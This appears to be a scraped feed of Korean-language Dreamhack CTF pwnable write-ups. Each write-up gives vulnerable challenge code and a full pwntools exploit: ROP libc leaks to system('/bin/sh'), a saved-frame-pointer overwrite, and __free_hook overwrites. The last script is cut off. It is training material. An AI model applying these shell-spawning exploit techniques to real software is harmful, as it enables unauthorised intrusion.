p.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, str(2)) p.sendlineafter(b\u0026#34;Addr: \u0026#34;, str(free_ptr)) payload = b\u0026#34;A\u0026#34;*40+p64(0x400940) p.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, str(1)) p.sendlineafter(b\u0026#34;Size: \u0026#34;, str(64)) p.sendlineafter(b\u0026#34;Data: \u0026#34;, payload) pause() p.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, str(3)) p.interactive() ","permalink":"https://dig06161.github.io/2023/02/26/dreamhack-pwn-house_of_spirit/","summary":"드림핵 포너블 house_of_spirit 문제풀이","title":"[Dreamhack] PWN house_of_spirit"},{"content":"드림핵 포너블 Dream\u0026rsquo;s Notepad 문제이다. 이 문제를 다운받아 보면 바이너리와 소스코드만 주어진다. 문제 환경은 공개되어 있지 않다.\n문제 출제자의 의도는 rtc기법을 사용하라고 일부러 그런것 같은데\u0026hellip; rtc를 까먹고 ROP 노가다를 했다. 일단 소스코드를 살펴보자.\n//gcc -o Notepad Notepad.c -fno-stack-protector #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; void Initalize(){ setvbuf(stdin, (char *)NULL, _IONBF, 0); setvbuf(stdout, (char *)NULL, _IONBF, 0); setvbuf(stderr, (char *)NULL, _IONBF, 0); } void main() { Initalize(); puts(\u0026#34;Welcome to Dream\u0026#39;s Notepad!\\n\u0026#34;); char title[10] = {0,}; char content[64] = {0,}; puts(\u0026#34;-----Enter the content-----\u0026#34;); read(0, content, sizeof(content) - 1); for (int i = 0; content[i] != 0; i++) { if (content[i] == \u0026#39;\\n\u0026#39;) { content[i] = 0; break; } } if(strstr(content, \u0026#34;.\u0026#34;) != NULL) { puts(\u0026#34;It can\u0026#39;t be..\u0026#34;); return; } else if(strstr(content, \u0026#34;/\u0026#34;) != NULL) { puts(\u0026#34;It can\u0026#39;t be..\u0026#34;); return; } else if(strstr(content, \u0026#34;;\u0026#34;) != NULL) { puts(\u0026#34;It can\u0026#39;t be..\u0026#34;); return; } else if(strstr(content, \u0026#34;*\u0026#34;) != NULL) { puts(\u0026#34;It can\u0026#39;t be..\u0026#34;); return; } else if(strstr(content, \u0026#34;cat\u0026#34;) != NULL) { puts(\u0026#34;It can\u0026#39;t be..\u0026#34;); return; } else if(strstr(content, \u0026#34;echo\u0026#34;) != NULL) { puts(\u0026#34;It can\u0026#39;t be..\u0026#34;); return; } else if(strstr(content, \u0026#34;flag\u0026#34;) != NULL) { puts(\u0026#34;It can\u0026#39;t be..\u0026#34;); return; } else if(strstr(content, \u0026#34;sh\u0026#34;) != NULL) { puts(\u0026#34;It can\u0026#39;t be..\u0026#34;); return; } else if(strstr(content, \u0026#34;bin\u0026#34;) != NULL) { puts(\u0026#34;It can\u0026#39;t be..\u0026#34;); return; } char tmp[128] = {0,}; sprintf(tmp, \u0026#34;echo %s \u0026gt; /home/Dnote/note\u0026#34;, content); system(tmp); FILE* p = fopen(\u0026#34;/home/Dnote/note\u0026#34;, \u0026#34;r\u0026#34;); unsigned int size = 0; if (p \u0026gt; 0) { fseek(p, 0, SEEK_END); size = ftell(p) + 1; fclose(p); remove(\u0026#34;/home/Dnote/note\u0026#34;); } char message[256]; puts(\u0026#34;\\n-----Leave a message-----\u0026#34;); read(0, message, size - 1); puts(\u0026#34;\\nBye Bye!!:-)\u0026#34;); } 첫번째로 read 함수를 통해 63만큼의 문자열을 입력 받고 블랙리스트 방식으로 문자열을 검사한다. 문제를 풀고 다른 분들의 풀이를 보니 커멘드 인젝션만으로 푸신 분들도 있었다.\n블랙리스트 검사를 통과하면 echo를 통해 입력한 문자열을 쉘에 출력하고 출력한 값을 /home/Dnote/note에 저장한다. 이후 system함수를 통해 /home/Dnote/note에 저장된 데이터를 실행한다. 그 다음으로 fopen을 통해 /home/Dnote/note 파일을 오픈하는데 파일이 존재할 경우 size 변수에 파일 사이즈 +1을 해주고 파일을 삭제한다. 파일이 없으면 size는 초기화 상태인 0으로 고정된다.\n이후 256사이즈의 버퍼에 read 함수를 통해 입력 받는데 입력 가능한 사이즈는 size-1이다. 여기서 unsigned int와 signed int변환 간에 생기는 취약점이 있다. 위의 fopen으로 오픈한 파일이 존재하지 않으면 size 변수는 0을 가지고 있는데 여기서 -1을 해 사이즈를 지정한다. 이때 보수 연산을 통해 결국 read가 읽을 수 있는 값은 int의 가장 큰 수가 된다. 따라서 버퍼 오버플로우를 일으킬 수 있다.\n내가 작성한 익스플로잇을 간단히 설명해보겠다.\n우선 버퍼 오버플로우가 가능하려면 /home/Dnote/note 파일이 존재하지 않아야 한다. 따라서 백틱( ` )을 이용해 오류를 발생시켜 파일이 생성되지 않도록 했다. 백틱은 쌍을 이뤄 사용해야 한다. 하나만 사용되면 오류가 발생해 백틱을 열었으면 백틱을 한번 더 입력 해 닫아줘야 한다.\nROP를 통해서 read_got를 put_plt 함수로 출력하고 이후 다시 main함수로 돌아온다. gdb를 통해 확인한 결과 rbp-0x1e0를 통해 read 한 데이터를 입력 받고 있었다. 0x1e0를 dec로 바꾸면 480이고 sfp를 포함하면 488만큼 메모리를 덮어줘야 한다. 이후 pop rdi; ret 가젯을 사용했다.\n출력된 read 함수 주소를 이용해 libc base 주소를 계산하고 libc의 system함수 주소와 bin/sh 주소를 찾아 다시 버퍼 오버플로우를 통해 쉘을 실행시켰다.\n이런 방법에 문제는 해당 문제의 환경을 모르기 때문에 환경에 따른 libc 오프셋이 바뀔 수 있다. 실제로 우분투 16 18 20 22 버전의 libc를 각각 전부 돌려 쉘을 획득 할 수 있었다.\n문제를 풀긴 풀었지만\u0026hellip; 정석대로 풀려면 rtc 공격을 활용해야 한다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) c = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 12708); #c = process(\u0026#34;./Notepad\u0026#34;) libc = ELF(\u0026#34;/lib/x86_64-linux-gnu/libc.so.6\u0026#34;) c.sendafter(b\u0026#34;-----Enter the content-----\\n\u0026#34;, b\u0026#34;`\u0026#34;) #pop rdi; ret 0x400c73 pr = 0x400c73 read_got = 0x602040 put_plt = 0x400730 main = 0x400957 payload = p64(pr)+p64(read_got)+p64(put_plt)+p64(main) payload = b\u0026#34;a\u0026#34;*488 + payload c.sendafter(b\u0026#34;-----Leave a message-----\\n\u0026#34;, payload) c.recvuntil(b\u0026#34;Bye Bye!!:-)\\n\u0026#34;) libc_base = u64(c.recv(6)+b\u0026#34;\\x00\\x00\u0026#34;)-libc.sym[\u0026#39;read\u0026#39;] print(\u0026#34;libc_base : \u0026#34;+hex(libc_base)) system = libc_base + libc.sym[\u0026#39;system\u0026#39;] print(f\u0026#34;system : {hex(system)}\u0026#34;) binsh = libc_base+list(libc.search(b\u0026#39;/bin/sh\u0026#39;))[0] print(f\u0026#34;binsh : {hex(binsh)}\u0026#34;) payload2 = p64(pr)+p64(binsh)+p64(system) payload2 = b\u0026#34;a\u0026#34;*488 + payload2 c.sendafter(b\u0026#34;-----Enter the content-----\\n\u0026#34;, b\u0026#34;`\u0026#34;) c.sendafter(b\u0026#34;-----Leave a message-----\\n\u0026#34;, payload2) c.interactive() ","permalink":"https://dig06161.github.io/2023/02/08/dreamhack-pwn-Dnote/","summary":"드림핵 포너블 Dream\u0026rsquo;s Notepad 문제풀이","title":"[Dreamhack] PWN Dream's Notepad"},{"content":"드림핵 크리스마스 CTF에 출제된 포너블 문제다. 전체적인 환경에 대한 정보는 따로 주어지지 않았고, 바이너리, 소스코드, 더미 플레그가 제공되었다.\n우선 먼저 코드를 살펴보자.\n/* msnw.c * gcc -no-pie -fno-stack-protector -mpreferred-stack-boundary=8 msnw.c -o msnw */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #define MEONG 0 #define NYANG 1 #define NOT_QUIT 1 #define QUIT 0 void Init() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); setvbuf(stderr, 0, _IONBF, 0); } int Meong() { char buf[0x40]; memset(buf, 0x00, 0x130); printf(\u0026#34;meong 🐶: \u0026#34;); read(0, buf, 0x132); if (buf[0] == \u0026#39;q\u0026#39;) return QUIT; return NOT_QUIT; } int Nyang() { char buf[0x40]; printf(\u0026#34;nyang 🐱: \u0026#34;); printf(\u0026#34;%s\u0026#34;, buf); return NOT_QUIT; } int Call(int animal) { return animal == MEONG ? Meong() : Nyang(); } void Echo() { while (Call(MEONG)) Call(NYANG); } void Win() { execl(\u0026#34;/bin/cat\u0026#34;, \u0026#34;/bin/cat\u0026#34;, \u0026#34;./flag\u0026#34;, NULL); } int main(void) { Init(); Echo(); puts(\u0026#34;nyang 🐱: goodbye!\u0026#34;); return 0; } 코드를 살펴보면 Meong() 함수에서 2바이트 오버플로우가 가능한 것을 알수 있다. 따라서 SFP 변조를 통해 코드의 실행 흐름일 바꿀 수 있을것 같다. Win 함수가 실행되면 flag가 출력되는것 같다.\n우선 Meong() 함수에서 \\n포함 0x130 길이의 문자열을 입력하면 이 값을 그대로 Nyang()함수에서 사용하기 때문에 printf를 통해 SFP 하위 2자리 값을 얻을 수 있다.\n버퍼의 크기는 0x130이고 이를 0x10으로 나누면 13이니 버퍼에 Win 함수 값으로 덮어버렸다. 그렇게 되면 그냥 버퍼에 존재하는 값만 잘 맞춰서 sfp를 조작하면 Win함수로 갈수 있다. 우선 SFP 값을 릭해서 나온 값으로 gdb를 통해 buf 문자열이 포함되는 위치를 찾는다. 버퍼에는 Win 함수 주소값이 연속적으로 들어있어 어느 직점을 찍던 맨 뒷자리가 0 아님 8로 끝나면 코드는 성공한다. 나는 buf의 맨 처음 지점을 계산해 -8을 계산해 sfp를 오버라이트 했다. sfp 공격은 공격자가 입력한 값 +8 의 위치한 코드를 실행하기 때문에 이런 점만 맞춰주면 Win 함수를 실행할 수 있다. (32비트는 +4한 부분을 실행한다. 메모리 사이즈에 따라 64비트는 8, 32비트는 4 만큼의 차이가 있다.)\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) #c = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 17108); c = process(\u0026#34;./msnw\u0026#34;) #libc = ELF(\u0026#34;./libc.so.6\u0026#34;) #libc = ELF(\u0026#34;/usr/lib/x86_64-linux-gnu/libc.so.6\u0026#34;) execFlag = 0x40135b payload = p64(execFlag) while(len(payload)!=0x130): payload = payload+p64(execFlag) c.recvuntil(\u0026#34;meong 🐶: \u0026#34;) pause() c.sendline(\u0026#34;a\u0026#34;*0x12f) #print(payload) c.recvuntil(b\u0026#34;\\n\u0026#34;) leak1 = c.recv(2) leak2 = leak1+b\u0026#34;\\x00\\x00\\x00\\x00\\x00\\x00\u0026#34; print(\u0026#34;leak : \u0026#34;+str(hex(u64(leak2)))) print(\u0026#34;leak : \u0026#34;+str(leak2)) c.recvuntil(\u0026#34;: \u0026#34;) leak = int(hex(u64(leak2)), 16)-0x200-0x130 print(hex(leak)) #payload += b\u0026#34;a\u0026#34;*(0x130-len(p64(execFlag))) #rsp 0x7fffffffde00 payload = payload + p64(leak-0x8)[:-6] print(payload) c.sendline(payload) pause() print(c.recvall()) ","permalink":"https://dig06161.github.io/2023/02/07/dreamhack-msnw/","summary":"드림핵 포너블 msnw 문제풀이","title":"[Dreamhack] PWN msnw"},{"content":"dreamhack 크리스마스 CTF 문제중에 hook문제가 있어 같이 풀어봤다. 문제 자체는 드림핵 hook 문제가 난이도도 낮고 코드도 간단하다.\n문제파일을 다운받고 압축을 풀면 hook바이너리와 소스코드, libc가 있다. 문제 환경은 ubuntu 16.04로 도커를 사용해 문제를 디버깅 했다. 소스코드는 다음과 같다.\n// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;signal.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; void alarm_handler() { puts(\u0026#34;TIME OUT\u0026#34;); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } int main(int argc, char *argv[]) { long *ptr; size_t size; initialize(); printf(\u0026#34;stdout: %p\\n\u0026#34;, stdout); printf(\u0026#34;Size: \u0026#34;); scanf(\u0026#34;%ld\u0026#34;, \u0026amp;size); ptr = malloc(size); printf(\u0026#34;Data: \u0026#34;); read(0, ptr, size); *(long *)*ptr = *(ptr+1); free(ptr); free(ptr); system(\u0026#34;/bin/sh\u0026#34;); return 0; } stdout의 주소를 출력해 주고 malloc하기 위한 사이즈를 입력 받는다. 이후 malloc한 포인터를 ptr에 대입하고 malloc의 사이즈 만큼 read 함수를 통해 ptr에 쓴다.\n그 다음, *ptr의 주소에 *(ptr+1)을 대입한다. 그다음 ptr을 두번 free하고 system(\u0026quot;/bin/sh\u0026quot;)를 실행한다. 일단 더블프리 오류로 인해 system함수는 정상적으로 실행이 힘들 것 이다.\n여기서 활용할 것은 다음 코드이다.\n*(long *)*ptr = *(ptr+1); 만약 ptr 변수에 read 함수를 통해 0x40000000000000001000000000000000라는 값을 입력 받았다고 가정하자. 위 코드는 ptr의 포인터가 가리키는 함수의 내용을 *(ptr+1)로 바꾸는 코드이다. 따라서 0x40000000000000001000000000000000라는 값을 입력했을 때의 결과는 0x4000000000000000 주소의 값에 0x1000000000000000라는 값을 넣게 된다. 64비트 기반이기 때문에 16사이즈로 잘라서 계산하면 편하다.\n그럼 이 기능을 이용해 read 함수를 통해서 p64(free_hook)+p64(*(system(\u0026quot;/bin/sh\u0026quot;)))를 입력하면 free가 실행되기 전 system(\u0026quot;/bin/sh\u0026quot;)를 실행하게 된다. 원샷 가젯을 이용해도 될것 같지만 문제에서 system함수가 존재하기 때문에 이를 이용해 exploit코드를 작성했다.\n아래 코드를 이용하면 문제를 쉘을 획득할 수 있다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) #c = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 22736) c = process(\u0026#34;./hook\u0026#34;, env={\u0026#39;LD_PRELOAD\u0026#39;:\u0026#39;./libc.so.6\u0026#39;}) #c = process(\u0026#34;./hook\u0026#34;) libc=ELF(\u0026#39;./libc.so.6\u0026#39;) print(c.recvuntil(b\u0026#34;stdout: \u0026#34;)) stdout = int(c.recv(14), 16) main_syscall = 0x400a11 print(\u0026#34;stdout : \u0026#34;+hex(stdout)) libc_base = stdout - libc.symbols[\u0026#39;_IO_2_1_stdout_\u0026#39;] free_hook = libc_base + libc.symbols[\u0026#39;__free_hook\u0026#39;] payload = p64(free_hook)+p64(main_syscall) c.sendlineafter(b\u0026#34;Size: \u0026#34;, b\u0026#34;400\u0026#34;) c.sendlineafter(b\u0026#34;Data: \u0026#34;, payload) c.interactive() ","permalink":"https://dig06161.github.io/2023/02/07/dreamhack-pwn-hook/","summary":"드림핵 포너블 hook 문제풀이","title":"[Dreamhack] PWN hook"},{"content":"22년도 드림핵에서 진행된 크리스마스 CTF Santa_claus_is_coming_to_town 문제 풀이를 올려보려고 한다. 사실 writeup을 문제풀고 바로 적어야지 내가 했던 삽질들과 어떤 방법으로 접근했는지 적을 수 있는데 시간이 좀 지난 시점이라 이러한 부분이 아쉬울 수 있을것 같다.\n일단 문제를 다운 받으면 도커 컨테이너 설정을 위한 도커 파일과 바이너리, 더미 플레그가 존재한다. 우선 도커파일에 정의되어 있는 이미지를 다운받아 살펴보니 ubuntu 18.04버전인 것을 확인했다. libc가 따로 주어지지 않았는데 우분투 18.04버전 libc와 동일했다. 따라서 분석용 도커 컨테이너에 볼륨을 주어 문제를 풀었다.\n일단 소스코드가 주어지지 않아 기드라를 통해 코드를 디컴파일 해봤다. 아래는 디컴파일 된 main함수이다.\nvoid main(EVP_PKEY_CTX *param_1) { void *pvVar1; undefined8 uVar2; long in_FS_OFFSET; int local_1c0; int local_1bc; long local_1b8; long local_1b0; int local_1a8 [2]; void *apvStack_1a0 [50]; undefined8 local_10; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); init(param_1); local_1c0 = 0; local_1bc = 0; local_1b8 = 0; local_1b0 = 0; memset(local_1a8,0,400); intro(); while( true ) { while( true ) { print_menu(); local_1c0 = 0; __isoc99_scanf(\u0026amp;DAT_001011a1,\u0026amp;local_1c0); if (local_1c0 != 2) break; local_1bc = check_offset(); if (local_1bc != 0) { if (local_1a8[(long)local_1bc * 4] == 0) { puts(\u0026#34;You haven\\\u0026#39;t written yet.\u0026#34;); } else { printf(\u0026#34;\\nPages : %p\\n\u0026#34;,apvStack_1a0[(long)local_1bc * 2]); printf(\u0026#34;Contents : %s\u0026#34;,apvStack_1a0[(long)local_1bc * 2]); } } } if (local_1c0 == 3) break; if (local_1c0 == 1) { local_1bc = check_offset(); if (local_1bc != 0) { if (local_1bc == local_1a8[(long)local_1bc * 4]) { puts(\u0026#34;You already wrote.\u0026#34;); } else { local_1a8[(long)local_1bc * 4] = local_1bc; printf(\u0026#34;How many lines will to write? (1 line = 16 words) : \u0026#34;); __isoc99_scanf(\u0026amp;DAT_001019ed,\u0026amp;local_1b8); local_1a8[(long)local_1bc * 4 + 1] = (int)local_1b8; pvVar1 = malloc(local_1b8 \u0026lt;\u0026lt; 4); apvStack_1a0[(long)local_1bc * 2] = pvVar1; puts(\u0026#34;\\n~~~~~~~~~~contents~~~~~~~~~~\u0026#34;); read(0,apvStack_1a0[(long)local_1bc * 2],local_1b8 * 0x10 - 1); } } } else { puts(\u0026#34;Wrong input\u0026#34;); } } uVar2 = santa_came((long)local_1a8); if ((int)uVar2 == 0) { puts(\u0026#34;Santa Claus just left...\u0026#34;); /* WARNING: Subroutine does not return */ exit(0); } puts(\u0026#34;Santa Claus : Oh... You\\\u0026#39;re such an honest kid.\u0026#34;); puts(\u0026#34;Santa Claus : Tell me if you have any memories you want to change and erase in this year.\u0026#34;); local_1bc = check_offset(); if (local_1bc == 0) { /* WARNING: Subroutine does not return */ exit(0); } printf(\u0026#34;what line you edit : \u0026#34;); __isoc99_scanf(\u0026amp;DAT_001019ed,\u0026amp;local_1b0); if (-1 \u0026lt; local_1b0) { printf(\u0026#34;Change memories to : \u0026#34;); read(0,(void *)((long)apvStack_1a0[(long)local_1bc * 2] + (local_1b0 + -1) * 0x10),0x10); free(apvStack_1a0[(long)local_1bc * 2]); /* WARNING: Subroutine does not return */ exit(0); } puts(\u0026#34;Wrong input\u0026#34;); /* WARNING: Subroutine does not return */ exit(0); } 바이너리를 실행하면, 산타가 뭘 어쩌고 주륵 나온 다음 이후 각 번호에 따라 어떤 작업을 실행할지 고르는 부분이 나온다. 1번을 선택하면 날자와 입력할 텍스트의 크기, 텍스트를 입력받는다. 2번을 선택하면 1번에서 입력한 일자 중 하나의 일자를 골라 텍스트가 존재하는 메모리 주소와 텍스트 내용을 출력한다.\n...생략... I think he will cheat on my diary!!! But i didn\u0026#39;t write a diary this month. Can you help me? 1. Write diary 2. Read diary 3. Go to sleep \u0026gt;\u0026gt; 1 What date is it? : 1 How many lines will to write? (1 line = 16 words) : 1000 ~~~~~~~~~~contents~~~~~~~~~~ /bin/sh 1. Write diary 2. Read diary 3. Go to sleep \u0026gt;\u0026gt; 2 What date is it? : 1 Pages : 0x55c89d56a260 Contents : /bin/sh 1. Write diary 2. Read diary 3. Go to sleep \u0026gt;\u0026gt; 디컴파일한 main함수를 잘 살펴보면 3번을 선택했을 때 조건에 따라 다른 기능을 수행하는 부분이 있다. santa_came() 함수에서 기존에 작성한 메시지의 갯수를 검사해 24개보다 작으면 exit() 함수를 호출해 종료한다.\n24 이상인 경우 check_offset() 함수를 통해 날짜를 물어본다. 이부분에서 0보다 크로 25보다 작은 값을 입력하면 해당 함수를 끝내고 다음으로 넘어간다. 이후 수정하고자 하는 라인을 입력받고 read함수를 이용해 수정한다. 그 다음으로 위에서 물어본 날짜의 지점을 free 함수를 통해 메모리 해제를 진행한다.\n간단하게 말로 설명했지만 어셈과 동적 디버딩을 통해 직접 코드를이해하는 편이 바람직 하다. 여기서 봐야할 점은 check_offset() 이후 부분이다. 수정하기 위한 값을 입력받는 부분에서 검증이 미흡해 작성한 라인 수보다 더 큰 값을 넣을 수 있고 이를 통해 결과적으로 read함수를 이용해 값을 쓰는 코드에서 Out Of Bound 취약점이 발생한다. read 이후 free를 통해 메모리를 해제하는 과정을 거치게 되는데 여기서 free hook 취약점을 이용해 풀어보려 한다.\nfree hook 취약점은 기존 free함수가 동작하기 전 디버깅 목적으로 존재하는 기능인데 메모리 상의 free hook에 함수 주소가 존재하면 free 하기 전에 함수를 free하고자 하는 대상을 인자로 받아 실행한다. 이러한 hook취약점은 free뿐만 아니라 malloc 같은 함수에서도 발생한다.\n여기서 한가지 트릭을 이용해 익스플로잇 할 예정이다. malloc을 통해 할당된 메모리는 heap영역에 할당된다. 우리가 익스코드를 작성할떄 heap주소에서 스택이나 libc주소 까지 음수 값 때문에 계산이 안되거나 너무 큰 수를 넘어야 하는 경우가 있다. 이럴 때 heap크기를 무작정 키워보면 편하다. heap과 libc의 거리는 큰 차이가 있지만 heap chunk보다 큰 값을 요청하면 libc 바로 위의 메모리에 공간을 따로 할당해 주기 때문에 익스플로잇 하기 더 수월하다. 이를 직접 살펴보자.\n아래 예시는 문제 바이너리에 /bin/sh 문자열을 넣고 malloc 할당 크기만 다르게 하여 gdb로 확인한 것이다. 기존의 malloc이 heap chunk 안에서 할당된 경우는 다음과 같다.\npwndbg\u0026gt; vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File 0x55d737600000 0x55d737602000 r-xp 2000 0 /home/santa_coming_to_town 0x55d737801000 0x55d737802000 r--p 1000 1000 /home/santa_coming_to_town 0x55d737802000 0x55d737803000 rw-p 1000 2000 /home/santa_coming_to_town 0x55d739403000 0x55d739424000 rw-p 21000 0 [heap] 0x7fbabe0ba000 0x7fbabe2a1000 r-xp 1e7000 0 /home/libc.so.6 0x7fbabe2a1000 0x7fbabe4a1000 ---p 200000 1e7000 /home/libc.so.6 0x7fbabe4a1000 0x7fbabe4a5000 r--p 4000 1e7000 /home/libc.so.6 0x7fbabe4a5000 0x7fbabe4a7000 rw-p 2000 1eb000 /home/libc.so.6 0x7fbabe4a7000 0x7fbabe4ab000 rw-p 4000 0 [anon_7fbabe4a7] 0x7fbabe4ab000 0x7fbabe4d4000 r-xp 29000 0 /lib/x86_64-linux-gnu/ld-2.27.so 0x7fbabe6d2000 0x7fbabe6d4000 rw-p 2000 0 [anon_7fbabe6d2] 0x7fbabe6d4000 0x7fbabe6d5000 r--p 1000 29000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7fbabe6d5000 0x7fbabe6d6000 rw-p 1000 2a000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7fbabe6d6000 0x7fbabe6d7000 rw-p 1000 0 [anon_7fbabe6d6] 0x7ffcd9a9e000 0x7ffcd9abf000 rw-p 21000 0 [stack] 0x7ffcd9bdd000 0x7ffcd9be1000 r--p 4000 0 [vvar] 0x7ffcd9be1000 0x7ffcd9be3000 r-xp 2000 0 [vdso] 0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall] pwndbg\u0026gt; x/32s 0x55d739403260 0x55d739403260: \u0026#34;/bin/sh\u0026#34; 위와 같이 heap과 libc의 주소차이가 큰것을 볼 수 있다. 다음으로 아래는 heap chunk보다 큰 값을 malloc 한 경우다.\npwndbg\u0026gt; vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File 0x555639800000 0x555639802000 r-xp 2000 0 /home/santa_coming_to_town 0x555639a01000 0x555639a02000 r--p 1000 1000 /home/santa_coming_to_town 0x555639a02000 0x555639a03000 rw-p 1000 2000 /home/santa_coming_to_town 0x55563a6a5000 0x55563a6c6000 rw-p 21000 0 [heap] 0x7fe0f3f56000 0x7fe0f4136000 rw-p 1e0000 0 [anon_7fe0f3f56] 0x7fe0f4136000 0x7fe0f431d000 r-xp 1e7000 0 /home/libc.so.6 0x7fe0f431d000 0x7fe0f451d000 ---p 200000 1e7000 /home/libc.so.6 0x7fe0f451d000 0x7fe0f4521000 r--p 4000 1e7000 /home/libc.so.6 0x7fe0f4521000 0x7fe0f4523000 rw-p 2000 1eb000 /home/libc.so.6 0x7fe0f4523000 0x7fe0f4527000 rw-p 4000 0 [anon_7fe0f4523] 0x7fe0f4527000 0x7fe0f4550000 r-xp 29000 0 /lib/x86_64-linux-gnu/ld-2.27.so 0x7fe0f456e000 0x7fe0f4750000 rw-p 1e2000 0 [anon_7fe0f456e] 0x7fe0f4750000 0x7fe0f4751000 r--p 1000 29000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7fe0f4751000 0x7fe0f4752000 rw-p 1000 2a000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7fe0f4752000 0x7fe0f4753000 rw-p 1000 0 [anon_7fe0f4752] 0x7ffdf0e5f000 0x7ffdf0e80000 rw-p 21000 0 [stack] 0x7ffdf0f4e000 0x7ffdf0f52000 r--p 4000 0 [vvar] 0x7ffdf0f52000 0x7ffdf0f54000 r-xp 2000 0 [vdso] 0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall] pwndbg\u0026gt; x/16s 0x7fe0f3f56000 0x7fe0f3f56000: \u0026#34;\u0026#34; 0x7fe0f3f56001: \u0026#34;\u0026#34; 0x7fe0f3f56002: \u0026#34;\u0026#34; 0x7fe0f3f56003: \u0026#34;\u0026#34; 0x7fe0f3f56004: \u0026#34;\u0026#34; 0x7fe0f3f56005: \u0026#34;\u0026#34; 0x7fe0f3f56006: \u0026#34;\u0026#34; 0x7fe0f3f56007: \u0026#34;\u0026#34; 0x7fe0f3f56008: \u0026#34;\\002\\200\\002\u0026#34; 0x7fe0f3f5600c: \u0026#34;\u0026#34; 0x7fe0f3f5600d: \u0026#34;\u0026#34; 0x7fe0f3f5600e: \u0026#34;\u0026#34; 0x7fe0f3f5600f: \u0026#34;\u0026#34; 0x7fe0f3f56010: \u0026#34;/bin/sh\u0026#34; 0x7fe0f3f56018: \u0026#34;\u0026#34; 0x7fe0f3f56019: \u0026#34;\u0026#34; 기존과 다르게 anon_7fe0f3f56라는 메모리에 문자열이 들어있으며 libc 바로 위에 위치하는것을 볼 수 있다.\n익스플로잇 코드를 간단히 설명해보겠다. 우선 /bin/sh라는 문자열을 24번 write한다. 이후 2번 메뉴를 통해 24번쨰 글을 출력해서 해당 문자열이 위치한 주소를 얻은다음 libc까지의 offset을 구해 libc 주소를 leak 한다. 이렇게 libc주소를 구하면 offset 계산을 통해 free_hook, system 함수를 사용할 수 있다.\n이후 3번 메뉴를 들어가면 오늘 날짜를 물어본다. 24일이라고 답을 하면 어떤 라인을 수정할 것인지 물어본다. 기드라를 통해 확인해 본 결과 직전에 물어본 오늘 날짜의 대한 문자열이 저장되는 메모리 주소에서 입력받은 숫자에 0x10e곱하고 0x1를 뺀 값을 더한 위치에 값을 read 한다. 따라서 libc_base + free_hook_offset에서 2번 메뉴를 통해 출력된 주소를 뺀 값을 입력하면 free hook에 접근 할 수 있다.\n이제 어떤 값을 쓸 것인지 물어본다. 이 부분에는 system 함수의 주소를 넣어주면 이후 free함수의 인자로 주어진 메모리 영역의 문자열을 인자 삼아서 free함수 보다 free_hook이 먼저 실행된다. 그럼 결과적으로 24번째 메모리에 들어있는 /bin/sh를 인자로 하여 system 함수가 실행되기 때문에 shell을 얻을 수 있다.\nfree_hook을 오버라이트 하는 도중 계속 실패해서 gdb를 통해 찍어봤는데\nc.sendafter(b\u0026#34;to : \u0026#34;, p64(system)) 위 코드를 이용하면 free_hook-0x8의 위치에 system주소가 들어가는것을 확인했다. 따라서 이를 다음과 같이 수정했다.\nc.sendafter(b\u0026#34;to : \u0026#34;, p64(system)*2) 최종 익스플로잇 코드는 다음과 같다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) #c = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 19538) c = process(\u0026#34;./santa_coming_to_town\u0026#34;) libc=ELF(\u0026#39;/lib/x86_64-linux-gnu/libc.so.6\u0026#39;) for i in range(1, 25): c.sendlineafter(b\u0026#34;\u0026gt;\u0026gt; \u0026#34;, b\u0026#34;1\u0026#34;) c.sendlineafter(b\u0026#34;? : \u0026#34;, str(i)) c.sendlineafter(b\u0026#34;) : \u0026#34;, b\u0026#34;10000\u0026#34;) c.sendafter(b\u0026#34;~~~~~~~~~~contents~~~~~~~~~~\\n\u0026#34;, b\u0026#34;/bin/sh\\x00\u0026#34;) print(\u0026#34;\\rfor : \u0026#34;+str(i), end=\u0026#34;\u0026#34;) #print(\u0026#34;for : \u0026#34;+ str(i)) print(\u0026#34;\\n\u0026#34;) c.sendlineafter(b\u0026#34;\u0026gt;\u0026gt; \u0026#34;, b\u0026#34;2\u0026#34;) c.sendlineafter(b\u0026#34;: \u0026#34;, b\u0026#34;24\u0026#34;) c.recvuntil(b\u0026#34;Pages : \u0026#34;) leak = int(str(c.recvuntil(b\u0026#34;\\n\u0026#34;))[2:-3], 16) print(\u0026#34;leak : \u0026#34;+hex(leak)) offset = 0x1DFFF0 libcAddr = leak+offset system = libcAddr+libc.sym[\u0026#39;system\u0026#39;] print(\u0026#34;libc addr : \u0026#34;+hex(libcAddr)) print(\u0026#34;system addr : \u0026#34;+hex(system)) #pause() #프리훅 오버라이트, 원샷 가젯 freeHookOffset = 